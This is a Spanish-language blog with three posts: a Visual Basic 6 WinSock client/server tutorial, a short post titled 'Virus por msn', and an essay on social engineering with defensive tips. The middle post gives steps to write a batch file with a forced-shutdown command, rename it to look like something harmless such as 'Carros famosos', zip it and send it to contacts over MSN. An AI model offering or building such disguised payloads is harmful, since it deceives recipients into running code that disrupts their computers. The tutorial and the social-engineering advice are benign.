Internet usa el protocolo TCP/IP que significa "Transmision Control Protocol / Internet Protocol", es el que se encarga de recibir paquetes de información y redirigirlos al usuario final que los solicitó. Este protocolo es el preferido por todos ya que posee una característica que UDP le envidia, TCP/IP puede verificar que el paquete de información haya llegado con éxito al destinatario final, concretando así la transacción.
Por el contrario UDP no puede hacer esto, solo manda el paquete con la información y no verifica que haya llegado satisfactoriamente, poniendo de esta manera en peligro al paquete, ya que puede no llegar entero al destinatario y por lo tanto no sirve si el paquete no llega en su totalidad.
Todas las máquinas que están conectadas a Internet tienen asignadas un número que se forma con 4 cifras de 3 dígitos (que no pueden superar al número 255). Ejemplo del IP máximo que se puede encontrar: 255.255.255.255

Propiedades, métodos y eventos de WinSock

Una vez que tenemos el WinSock control en nuestra barra de controles en Visual Basic ya podemos comenzar a ver las propiedades, eventos y métodos más importantes del control. Para agregarlo manualmente ir a Proyecto> Componentes> y luego seleccionar WinSock Control y Aceptar. Como mencionamos anteriormente este control no es visible en tiempo de ejecución.
Primero abrimos un proyecto (EXE Estándar) y colocamos en control en cualquier parte del formulario. Vamos a comenzar por ver las propiedades, estas pueden ser puestas en tiempo de diseño como también en tiempo de ejecución. A continuación se detallan las propiedades más importantes.

Lista de propiedades más importantes
LocalIP: Devuelve la dirección IP de la máquina local en el formato de cadena con puntos de dirección IP (xxx.xxx.xxx.xxx).
LocalHostName: Devuelve el nombre de la máquina local.
RemoteHost: Establece el equipo remoto al que se quiere solicitar la conexión.
LocalPort: Establece el puerto que se quiere dejar a la escucha.
RemotePort: Establece el número del puerto remoto al que se quiere conectar.
State: Verifica si el Control WinSock esta siendo utilizado o no.
La sintaxis de cada propiedad es Objeto.Propiedad = Valor

Donde Objeto va el nombre del Control WinSock, el nombre predeterminado cuando lo incluimos en alguna aplicación es "WinSock1". Luego le sigue la propiedad que deseamos asignar y finalmente el valor que la misma tomará.

Ejemplo #1
Propiedad LocalIP
Si queremos probar la propiedad LocalIP debemos seguir los siguientes pasos: Crear un Proyecto (EXE Estándar) y agregar el WinSock Control. Luego agregar una etiqueta vacía, es decir un Label. Por último, introduzca el siguiente código.
Agregar etiqueta
Private Sub Form_Load()
Label1.caption = WinSock1.LocalIP
End Sub

Este simple ejemplo nos da de forma rápida nuestro IP, aunque no estemos conectados a Internet el IP aparece igual, solo que siempre va a tomar el valor : 127.0.0.1
Lista de Métodos más importantes.- Ahora que sabemos manejar las propiedades podemos seguir con los Métodos. A continuación se muestra la lista de algunos de los Métodos más importantes del Control WinSock.
Accept: sólo para las aplicaciones de servidor TCP. Este método se utiliza para aceptar una conexión entrante cuando se está tratando un evento ConnectionRequest.
GetData: recupera el bloque actual de datos y lo almacena en una variable de tipo Variant.
Listen: crea un socket y lo establece a modo de escucha.
SendData: envía datos a un equipo remoto.

Lista de Eventos más importantes.-
ConnectionRequest: se produce cuando el equipo remoto solicita una conexión. Sin este evento no se puede llevar a cabo la conexión.
Connect: se produce cuando el equipo local se conecta al equipo remoto y se establece una conexión.
Close: se produce cuando el equipo remoto cierra la conexión. Las aplicaciones deben usar el método Close para cerrar correctamente una conexión TCP.
DataArrival: se produce cuando llegan nuevos datos. Este evento es importante, ya que debemos hacer algo con la información que llega.

La sintaxis de los métodos y eventos es igual a la sintaxis de las propiedades, por lo cual no vamos a hacer referencia a ella.
Conociendo las propiedades, métodos y eventos del Control WinSock podemos pasar a la labor de la programación.
El siguente es un programa Servidor, lo que hace es: designar un puerto, dejarlo a la escucha para aceptar conexiones, si se realiza una petición de conexión aceptarla, y por último enviar datos al Cliente y recibir los datos que éste mande.
Identificación de controles de la aplicación Servidor.- Para poder programar la siguiente aplicación necesitan tener el Control WinSock en el formulario.
Para entender el correcto funcionamiento del protocolo TCP/IP vamos a empezar por programar la aplicación Servidor a la cual luego se conectará el Cliente.

Ejemplo #2.
Comenzamos por crear un proyecto nuevo (EXE estándar) para el Servidor, y agregamos la siguiente lista de controles al formulario principal. La ubicación de dichos controles es a gusto del programador, siempre tratando de que el usuario final este a gusto con el producto y que se pueda manejar libremente sin problemas por el entorno del mismo.
-WinSock Control
-2 cajas de texto (TextBox)
-2 botones.

Cambiar propiedades de los controles.- A continuación hace falta que cambiemos algunas propiedades de los controles, esta es la lista de controles con las respectivas propiedades a cambiar.
Control (nombre predeterminado) Propiedad (nuevo valor)
WinSock1 LocalPort = 888
Text1 Text =
Text2 Text =
Command1 Caption = "Escuchar"
Command2 Caption = "Enviar"

Para que el ejemplo funcione a la perfección conviene que seguir la ubicación de los controles como esta indicado en la siguiente imagen.


Código.- Una vez hecho esto podemos empezar a tipear código. El sangrado del programa es una cuestión de entendimiento para el programador, algunos recurren a éste como otros no, eso también queda a criterio del que programa.

Evento click del Command1
Private Sub Command1_Click()
Winsock1.Listen
End Sub

Esto hace que el Control WinSock empiece a funcionar, escuchando el puerto que se indicó en las propiedades de dicho control. Este puerto es el 888. Ahora si realizamos todo a la perfección el puerto 888 esta siendo vigilado para aceptar conexiones remotas.

Evento DataArrival del WinSock
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
Text1.Text = Text1.Text + datos
End Sub

Datos queda transformada en una variable de cadena, y WinSock almacena los datos que recibe del Cliente en el buffer y luego ingresan a la variable datos, dicha variable mostrará su contenido en el control TextBox (Text1).

Evento ConnectionRequest del Winsock
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Este evento es muy importante, permite aceptar la petición de conexión. Sin este evento el resto del programa no tendría efecto.

Evento Click del command2
Private Sub Command2_Click()
Dim enviar As String
enviar = Text2.Text
Winsock1.SendData enviar
End Sub

Esto permite enviar el texto que se introduzca en el TextBox número 2.

Para seguir programando el Cliente hace falta crear un nuevo proyecto y en el formulario principal incluir la siguiente lista de controles:
- WinSock Control
- 3 cajas de texto (TextBox)
- 2 botones.

Cambiar propiedades de los controles.- Como lo hicimos anteriormente hace falta cambiar algunas propiedades. Debajo la lista de controles con las respectivas propiedades para cambiar.
Control (nombre predeterminado) Propiedad (nuevo valor)
WinSock1 LocalPort = 888
Text1 Text =
Text2 Text =
Text3 Text =
Command1 Caption = "Conectar"
Command2 Caption = "Enviar"
Para tener una referencia de cómo situar los controles observe la siguiente captura.

Código.- Evento click del Command1
Private Sub Command1_Click()
Winsock1.RemoteHost = Text3.Text
Winsock1.Connect
End Sub

El evento connect permite conectar al programa servidor que esta esperando la solicitud, este evento requiere un parámetro fundamental, el IP o nombre de host el cual es introducido previamente a la conexión en el cuadro de texto número 3 (Text3).

Evento DataArrival del WinSock
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
Text1.Text = Text1.Text + datos
End Sub

Esto permite a la aplicación (a través de WinSock) recibir información del servidor y mostrarla en pantalla.

Evento Click del command2
Private Sub Command2_Click()
Dim enviar As String
enviar = Text2.Text
Winsock1.SendData enviar
End Sub

Estas instrucciones son necesarias para enviar información al servidor.
Este ejemplo del primer programa Cliente / Servidor es muy simple, para utilizarlo al máximo es necesario por ejemplo poner las propiedades de los TextBox en Multiline, lo que hace que si los datos recibidos exceden el tamaño del TextBox estos datos vayan directo a la línea de abajo.

Esto seria todo hasta otra
Y ya sabes cualquier duda preguntais

sábado, 24 de abril de 2010

Virus por msn


Pasos
Abre Block de Notas.
Pon lo siguiente: shutdown -s -t 02 Guárdalo con el nombre que quieras, pero al final, pon .bat
(ej.: Virus.bat)
Si quieres enviarlo por el msn, mueve este documento del block de notas a una carpeta comprimida en zip.

Consejos
Si lo vas a enviar por msn, no olvides cambiar el nombre por algún otro, como por ejemplo, si lo guardaste como Virus.bat, cambia el "virus" por alguna otra palabra, como "Carros famosos" sin quitar el .bat, porque eso es lo importante


Si vas a probar el documento,tienes que hacer doble clic y presionar f4 por que si no,
tendras que reiniciar tu pc

martes, 20 de abril de 2010


Hoy os hablare de un termino informático llamado >>Ingenieria Social<<


Usted puede tener la mejor tecnología, firewalls, sistemas de detección de ataques, dispositivos biométricos, etc. Lo único que se necesita es un llamado a un empleado desprevenido e ingresan sin más. Tienen todo en sus manos. Kevin Mitnick.


"La gente quiere ser agradable y no pretende armar un escándalo, pero es importante enseñarles a decir no. No debe haber sutilezas cuando lo que está en juego son nuestros ingresos."Allan Vance

Bajo el nombre de Ingeniería Social (literalmente traducido del inglés Social Engineering) se encuentran comprendidas todas aquellas conductas útiles para conseguir información de las personas cercanas a una computadora. Es una disciplina que consiste, ni más ni menos en sacar información a otra persona sin que esta sé de cuenta de que te esta revelando "información sensible".

Hoy en día sólo son necesarias las malas intenciones y una conexión a Internet para sembrar el caos. Ya no es cuestión de conocimientos, sobre todo teniendo en cuenta que en los sistemas operativos más populares, se antepone la comodidad a la seguridad del sistema mismo. La mayoría de los ataques a la seguridad se deben a errores humanos y no a fallas electrónicas. Los intrusos usan "ingeniería social" para acceder a los sitios, y siempre alguien los deja entrar sin ningún problema.

Tradicionalmente, los intrusos se han valido de los engaños para conseguir atacar al eslabón más débil de la cadena de usuarios y responsables de un equipo de cómputo o de una red. De nada vale encriptar las comunicaciones, sellar los accesos, diseñar un buen esquema de seguridad para las distintas estaciones de trabajo y jerarquizar convenientemente los accesos a los mismos si no contamos con un personal que se halle lo suficientemente preparado para hacerle frente los engaños externos.

La principal herramienta que manejan actualmente los creadores de virus es la que se ha dado en llamar ingeniería social. Con este curioso término se engloba una serie de tretas, artimañas y engaños elaborados cuyo fin es confundir al usuario o, peor todavía, lograr que comprometa seriamente la seguridad de sus sistemas. Esto no es un conocimiento exacto pero, al ponerse en práctica con un grupo tan elevado de posibles víctimas, el éxito casi siempre está garantizado. Aprovechando sentimientos tan variados como la curiosidad, la avaricia, el sexo, la compasión o el miedo, el vándalo interesado consigue su objetivo, una acción por parte del usuario.

Un claro ejemplo de Ingeniería Social más común es el de alguien que llama por teléfono a una empresa para decir que necesita ayuda o hablar con el administrador de la red porque hay que modificar algún aspecto de la configuración. Durante la conversación, y a través de escogidas y cuidadas preguntas, el atacante obtendrá los datos (como los códigos de acceso a los equipos) que necesita para vulnerar la seguridad de todo el corporativo.

La ingeniería social es una acción muy simple, pero peligrosa. Los "hackers" llaman a los centros de datos y fingen ser un cliente que perdió su contraseña, o se dirigen a un sitio y esperan que alguien deje la puerta abierta. Otras formas de ingeniería social no son tan obvias. Los "hackers" son conocidos por crear sitios Web, concursos o cuestionarios falsos que piden a los usuarios que ingresen una contraseña. Si un usuario escribe la misma contraseña que usa en su trabajo, el hacker puede ingresar en las instalaciones sin tener que descifrar ni siquiera una línea de código.

Con el objetivo de infectar el mayor número posible de equipos, cada vez son más los gusanos que recurren a la Ingeniería Social, habitualmente empleada por los creadores de código malicioso para engañar a los usuarios. En la Ingeniería Social no se emplea ningún programa de software o elemento de hardware, sólo grandes dosis de ingenio, sutileza y persuasión para así lograr obtener información a través de otra persona sin que se dé cuenta de que está revelando información importante con la que, además, el atacante puede dañar su computadora.

En la práctica, los autores de virus (gusanos o troyanos) emplean la Ingeniería Social para que sus creaciones se propaguen rápidamente. Para ello atraen la atención del usuario y consiguen que realice alguna acción que, normalmente, consiste en inducirlo a que abra algún archivo que es el que procede a realizar la infección. De hecho, la mayoría de las pérdidas provocadas por los efectos de los códigos maliciosos tienen su origen en la ignorancia u omisión de políticas de seguridad.


El personal de una empresa debería de seguir las siguientes recomendaciones para evitar caer víctima de las trampas de la Ingeniería Social:

1. - Antes de abrir los correos analizarlos con un antivirus eficaz y debidamente actualizado, ya que cualquier mensaje de correo electrónico puede contener códigos maliciosos aunque no le acompañe el símbolo de datos adjuntos.

2. - Nunca ejecutar un programa de procedencia desconocida, aun cuando previamente sea verificado que no contiene virus. Dicho programa puede contener un troyano o un sniffer que reenvíe nuestra clave de acceso.

3. - Los usuarios no necesitan tener acceso a todo tipo de ficheros ya que no todos son necesarios para su trabajo habitual, por ello puede ser conveniente por parte del administrador bloquear la entrada de ficheros con extensiones ".exe",".vbs", etc.

4. - Nunca informe telefónicamente de las características técnicas de la red, sus localizaciones espaciales o personas a cargo de la misma. En su lugar lo propio es remitirlos directamente al responsable del sistema.

5.- Controlar los accesos físicos al lugar donde se hallan los servidores o terminales desde los que se puede conectar con los servicios centralizados de control.

6.- Nunca tirar documentación técnica a la basura, sino destruirla.

7.- Verificar previamente la veracidad de la fuente que solicite cualquier información sobre la red, su localización en tiempo y espacio y las personas que se encuentran al frente de la misma.

8.- En caso de existir, instalar los parches de actualización de software que publican las compañías para solucionar vulnerabilidades. De esta manera se puede hacer frente a los efectos que puede provocar la ejecución de archivos con códigos maliciosos.

10.- Controlar que las anteriores instrucciones se cumplen sistemáticamente.



Bueno esto es todo

Tambien os hablare de mas terminos informaticos como el phinnig, Lammber, fear phone y etec